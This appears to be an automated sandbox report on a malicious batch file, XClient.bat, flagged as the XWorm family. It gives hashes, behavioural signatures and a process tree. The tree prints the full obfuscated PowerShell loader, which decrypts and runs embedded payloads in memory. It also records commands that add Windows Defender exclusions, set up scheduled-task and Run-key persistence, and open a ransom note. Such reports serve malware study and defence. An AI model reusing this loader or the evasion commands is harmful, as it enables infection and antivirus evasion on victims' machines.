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240903-3ev2rs1erg 10Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
03-09-2024 23:29
Static task
static1
Behavioral task
behavioral1
Sample
XClient.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
XClient.bat
Resource
win10v2004-20240802-en
General
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Target
XClient.bat
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Size
320KB
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MD5
e0d59aedb927f0aad0b47eab247e5fbc
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SHA1
8abe8db8e344729b0f78d83e540b17a31893ed92
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SHA256
ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c
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SHA512
7459cba2a54a2e26e7464f9f4863b1fedb63cfa80ed2261ee69fd9c268c5d6bb54a4d01368d7ed987387016d786fb115f84afe97e192545b1f860b020c805e97
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SSDEEP
6144:HQIYl64Q3Gx/E7X3YIzsUW4MN2nwaF0FbD/VdFzqEE/jeT3/:HQIh77X3t6+4VdFzoW/
Malware Config
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/440-49-0x00000132D3390000-0x00000132D33EA000-memory.dmp family_xworm -
Blocklisted process makes network request 4 IoCs
flow pid Process 14 440 powershell.exe 21 440 powershell.exe 55 440 powershell.exe 61 440 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3084 powershell.exe 4044 powershell.exe 3632 powershell.exe 3896 powershell.exe 4544 powershell.exe 4668 powershell.exe 440 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3640 System User -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System User = "C:\\Users\\Admin\\AppData\\Roaming\\System User" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 13 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XBackground.bmp" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Modifies registry class 3 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe -
Runs net.exe
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Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4324 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 26 IoCs
pid Process 4544 powershell.exe 4544 powershell.exe 4668 powershell.exe 4668 powershell.exe 440 powershell.exe 440 powershell.exe 3084 powershell.exe 3084 powershell.exe 4044 powershell.exe 4044 powershell.exe 3632 powershell.exe 3632 powershell.exe 3896 powershell.exe 3896 powershell.exe 440 powershell.exe 3344 msedge.exe 3344 msedge.exe 4860 msedge.exe 4860 msedge.exe 4804 identity_helper.exe 4804 identity_helper.exe 3640 System User 3640 System User 3640 System User 1116 powershell.exe 1116 powershell.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
pid Process 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4544 powershell.exe Token: SeDebugPrivilege 4668 powershell.exe Token: SeIncreaseQuotaPrivilege 4668 powershell.exe Token: SeSecurityPrivilege 4668 powershell.exe Token: SeTakeOwnershipPrivilege 4668 powershell.exe Token: SeLoadDriverPrivilege 4668 powershell.exe Token: SeSystemProfilePrivilege 4668 powershell.exe Token: SeSystemtimePrivilege 4668 powershell.exe Token: SeProfSingleProcessPrivilege 4668 powershell.exe Token: SeIncBasePriorityPrivilege 4668 powershell.exe Token: SeCreatePagefilePrivilege 4668 powershell.exe Token: SeBackupPrivilege 4668 powershell.exe Token: SeRestorePrivilege 4668 powershell.exe Token: SeShutdownPrivilege 4668 powershell.exe Token: SeDebugPrivilege 4668 powershell.exe Token: SeSystemEnvironmentPrivilege 4668 powershell.exe Token: SeRemoteShutdownPrivilege 4668 powershell.exe Token: SeUndockPrivilege 4668 powershell.exe Token: SeManageVolumePrivilege 4668 powershell.exe Token: 33 4668 powershell.exe Token: 34 4668 powershell.exe Token: 35 4668 powershell.exe Token: 36 4668 powershell.exe Token: SeIncreaseQuotaPrivilege 4668 powershell.exe Token: SeSecurityPrivilege 4668 powershell.exe Token: SeTakeOwnershipPrivilege 4668 powershell.exe Token: SeLoadDriverPrivilege 4668 powershell.exe Token: SeSystemProfilePrivilege 4668 powershell.exe Token: SeSystemtimePrivilege 4668 powershell.exe Token: SeProfSingleProcessPrivilege 4668 powershell.exe Token: SeIncBasePriorityPrivilege 4668 powershell.exe Token: SeCreatePagefilePrivilege 4668 powershell.exe Token: SeBackupPrivilege 4668 powershell.exe Token: SeRestorePrivilege 4668 powershell.exe Token: SeShutdownPrivilege 4668 powershell.exe Token: SeDebugPrivilege 4668 powershell.exe Token: SeSystemEnvironmentPrivilege 4668 powershell.exe Token: SeRemoteShutdownPrivilege 4668 powershell.exe Token: SeUndockPrivilege 4668 powershell.exe Token: SeManageVolumePrivilege 4668 powershell.exe Token: 33 4668 powershell.exe Token: 34 4668 powershell.exe Token: 35 4668 powershell.exe Token: 36 4668 powershell.exe Token: SeIncreaseQuotaPrivilege 4668 powershell.exe Token: SeSecurityPrivilege 4668 powershell.exe Token: SeTakeOwnershipPrivilege 4668 powershell.exe Token: SeLoadDriverPrivilege 4668 powershell.exe Token: SeSystemProfilePrivilege 4668 powershell.exe Token: SeSystemtimePrivilege 4668 powershell.exe Token: SeProfSingleProcessPrivilege 4668 powershell.exe Token: SeIncBasePriorityPrivilege 4668 powershell.exe Token: SeCreatePagefilePrivilege 4668 powershell.exe Token: SeBackupPrivilege 4668 powershell.exe Token: SeRestorePrivilege 4668 powershell.exe Token: SeShutdownPrivilege 4668 powershell.exe Token: SeDebugPrivilege 4668 powershell.exe Token: SeSystemEnvironmentPrivilege 4668 powershell.exe Token: SeRemoteShutdownPrivilege 4668 powershell.exe Token: SeUndockPrivilege 4668 powershell.exe Token: SeManageVolumePrivilege 4668 powershell.exe Token: 33 4668 powershell.exe Token: 34 4668 powershell.exe Token: 35 4668 powershell.exe -
Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe -
Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe 4860 msedge.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 440 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3816 wrote to memory of 656 3816 cmd.exe 84 PID 3816 wrote to memory of 656 3816 cmd.exe 84 PID 656 wrote to memory of 3308 656 net.exe 85 PID 656 wrote to memory of 3308 656 net.exe 85 PID 3816 wrote to memory of 4544 3816 cmd.exe 89 PID 3816 wrote to memory of 4544 3816 cmd.exe 89 PID 4544 wrote to memory of 4668 4544 powershell.exe 90 PID 4544 wrote to memory of 4668 4544 powershell.exe 90 PID 4544 wrote to memory of 3352 4544 powershell.exe 93 PID 4544 wrote to memory of 3352 4544 powershell.exe 93 PID 3352 wrote to memory of 5092 3352 WScript.exe 94 PID 3352 wrote to memory of 5092 3352 WScript.exe 94 PID 5092 wrote to memory of 4528 5092 cmd.exe 96 PID 5092 wrote to memory of 4528 5092 cmd.exe 96 PID 4528 wrote to memory of 3672 4528 net.exe 97 PID 4528 wrote to memory of 3672 4528 net.exe 97 PID 5092 wrote to memory of 440 5092 cmd.exe 98 PID 5092 wrote to memory of 440 5092 cmd.exe 98 PID 440 wrote to memory of 3084 440 powershell.exe 102 PID 440 wrote to memory of 3084 440 powershell.exe 102 PID 440 wrote to memory of 4044 440 powershell.exe 104 PID 440 wrote to memory of 4044 440 powershell.exe 104 PID 440 wrote to memory of 3632 440 powershell.exe 106 PID 440 wrote to memory of 3632 440 powershell.exe 106 PID 440 wrote to memory of 3896 440 powershell.exe 108 PID 440 wrote to memory of 3896 440 powershell.exe 108 PID 440 wrote to memory of 4324 440 powershell.exe 111 PID 440 wrote to memory of 4324 440 powershell.exe 111 PID 440 wrote to memory of 4860 440 powershell.exe 118 PID 440 wrote to memory of 4860 440 powershell.exe 118 PID 4860 wrote to memory of 3740 4860 msedge.exe 119 PID 4860 wrote to memory of 3740 4860 msedge.exe 119 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 PID 4860 wrote to memory of 4240 4860 msedge.exe 120 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3816 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:656 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:3308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y+qf52DrQiYLUaozbbmw9JavODvF6+9CeZx0/k94u9k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4WB4xmZ2PUqqywaBQpnlmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfVzQ=New-Object System.IO.MemoryStream(,$param_var); $AjFMf=New-Object System.IO.MemoryStream; $JrhbC=New-Object System.IO.Compression.GZipStream($vfVzQ, [IO.Compression.CompressionMode]::Decompress); $JrhbC.CopyTo($AjFMf); $JrhbC.Dispose(); $vfVzQ.Dispose(); $AjFMf.Dispose(); $AjFMf.ToArray();}function execute_function($param_var,$param2_var){ $AKLYU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eguYy=$AKLYU.EntryPoint; $eguYy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$FsplU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($NLDPG in $FsplU) { if ($NLDPG.StartsWith(':: ')) { $wgQrx=$NLDPG.Substring(3); break; }}$payloads_var=[string[]]$wgQrx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_344_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_344.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4668
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_344.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3352 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_344.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:5092 -
C:\Windows\system32\net.exenet file5⤵
- Suspicious use of WriteProcessMemory
PID:4528 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file6⤵PID:3672
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y+qf52DrQiYLUaozbbmw9JavODvF6+9CeZx0/k94u9k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4WB4xmZ2PUqqywaBQpnlmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfVzQ=New-Object System.IO.MemoryStream(,$param_var); $AjFMf=New-Object System.IO.MemoryStream; $JrhbC=New-Object System.IO.Compression.GZipStream($vfVzQ, [IO.Compression.CompressionMode]::Decompress); $JrhbC.CopyTo($AjFMf); $JrhbC.Dispose(); $vfVzQ.Dispose(); $AjFMf.Dispose(); $AjFMf.ToArray();}function execute_function($param_var,$param2_var){ $AKLYU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eguYy=$AKLYU.EntryPoint; $eguYy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_344.bat';$FsplU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_344.bat').Split([Environment]::NewLine);foreach ($NLDPG in $FsplU) { if ($NLDPG.StartsWith(':: ')) { $wgQrx=$NLDPG.Substring(3); break; }}$payloads_var=[string[]]$wgQrx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:440 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3084
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3632
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3896
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"6⤵
- Scheduled Task/Job: Scheduled Task
PID:4324
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html6⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa09a046f8,0x7ffa09a04708,0x7ffa09a047187⤵PID:3740
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:27⤵PID:4240
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:37⤵
- Suspicious behavior: EnumeratesProcesses
PID:3344
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2984 /prefetch:87⤵PID:3424
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2212 /prefetch:17⤵PID:336
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:17⤵PID:2132
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C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:87⤵PID:3160
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C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:87⤵
- Suspicious behavior: EnumeratesProcesses
PID:4804
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:17⤵PID:2792
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4668 /prefetch:17⤵PID:3632
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4736 /prefetch:17⤵PID:4388
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:17⤵PID:2188
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2072 /prefetch:17⤵PID:1564
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}6⤵
- Suspicious behavior: EnumeratesProcesses
PID:1116 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text7⤵PID:4064
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C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:1264
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C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:4716
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C:\Users\Admin\AppData\Roaming\System User"C:\Users\Admin\AppData\Roaming\System User"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3640
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html1⤵PID:4644
